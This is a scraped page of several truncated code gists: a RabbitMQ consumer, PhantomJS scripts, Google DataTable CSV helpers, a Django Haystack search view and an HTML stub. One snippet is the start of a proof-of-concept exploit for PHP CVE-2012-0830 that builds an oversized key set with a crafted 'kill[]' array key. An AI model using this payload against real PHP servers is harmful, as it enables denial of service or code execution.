This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pika | |
def callback(ch, method, properties, body): | |
pass | |
connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) | |
channel = connection.channel() | |
channel.queue_declare(queue='queue', passive=True) | |
channel.basic_consume(callback, queue='queue', no_ack=False) | |
connection.close() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var root_url = "http://www.mailinator.com/"; | |
// Create new WebPage object for browsing | |
var page = new WebPage(); | |
// Repeat console.log messages from PhantomJS | |
page.onConsoleMessage = function (msg) { | |
console.log(msg); | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var system = require('system'); | |
// Check argument count | |
if (system.args.length === 2) { | |
var url = system.args[1]; | |
} | |
else { | |
// Quit without correct arguments | |
console.log("URL Parameter Required."); | |
phantom.exit(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PhantomJS Examples | |
================== | |
<script src="https://gist.github.com/3855613.js"></script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c) | |
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/ | |
// Generate 1000 normal keys and one array | |
function createEvilObj () { | |
var evil_obj = {}; | |
for (var i = 0; i < 1001; i++) { | |
evil_obj[i] = 1; | |
} | |
evil_obj['kill[]'] = 'kill'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Extend DataTable functionality to include toCSV | |
google.visualization.DataTable.prototype.toCSV = function () { | |
var dt_cols = this.getNumberOfColumns(); | |
var dt_rows = this.getNumberOfRows(); | |
var csv_cols = []; | |
var csv_out; | |
// Iterate columns | |
for (var i=0; i<dt_cols; i++) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Convert an instance of google.visualization.DataTable to CSV | |
* @param {google.visualization.DataTable} dataTable_arg DataTable to convert | |
* @return {String} Converted CSV String | |
*/ | |
function dataTableToCSV(dataTable_arg) { | |
var dt_cols = dataTable_arg.getNumberOfColumns(); | |
var dt_rows = dataTable_arg.getNumberOfRows(); | |
var csv_cols = []; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
... | |
from myproject.appname.searchviews import CustomSearch | |
... | |
urlpatterns = patterns('', | |
... | |
(r'^search/', CustomSearch()), | |
... | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from haystack.views import SearchView | |
class CustomSearch(SearchView): | |
def extra_context(self): | |
seg_results = {} | |
for result in self.results: | |
if not result.model_name in seg_results: | |
seg_results[result.model_name] = [result] | |
else: | |
seg_results[result.model_name].append(result) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta name="viewport" content="width=device-width; height=device-height; initial-scale=1.0; maximum-scale=1.0;"/> | |
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script> | |
<script type="text/javascript"> | |
window.onload=function(){ |